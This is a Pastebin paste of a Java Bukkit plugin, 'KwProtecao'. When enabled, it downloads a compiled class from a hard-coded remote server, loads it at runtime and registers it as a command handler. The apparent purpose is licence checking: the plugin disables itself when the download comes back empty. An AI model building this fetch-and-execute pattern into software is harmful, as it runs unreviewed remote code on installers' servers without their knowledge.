Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package me.kewi;
- import java.io.BufferedInputStream;
- import java.io.ByteArrayOutputStream;
- import java.io.InputStream;
- import java.net.URL;
- import java.net.URLConnection;
- import org.bukkit.Bukkit;
- import org.bukkit.command.CommandExecutor;
- import org.bukkit.plugin.java.JavaPlugin;
- public class KwProtecao extends JavaPlugin {
- @SuppressWarnings("rawtypes")
- @Override
- public void onEnable() {
- System.out.println("Iniciando");
- try {
- URL link = new URL(
- "http://www.devkewi.esy.es/licensas/plugins/KwProtecao/usuarios/Kewilleen_/Comandos.class");
- URLConnection uc = link.openConnection();
- uc.addRequestProperty("User-Agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) trowclass");
- InputStream in = new BufferedInputStream(uc.getInputStream());
- ByteArrayOutputStream out = new ByteArrayOutputStream();
- byte[] buf = new byte[1024];
- int n = 0;
- while (-1 != (n = in.read(buf))) {
- out.write(buf, 0, n);
- }
- out.close();
- in.close();
- byte[] response = out.toByteArray();
- if (response.length == 0) {
- System.out.println("PL PIRATA");
- Bukkit.getPluginManager().disablePlugin(this);
- return;
- }
- CustomClassLoader loader = new CustomClassLoader(KwProtecao.class.getClassLoader(), response, "Comandos");
- Class cls = loader.loadClass("Comandos");
- Object obj = cls.newInstance();
- getCommand("teste").setExecutor((CommandExecutor) obj);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment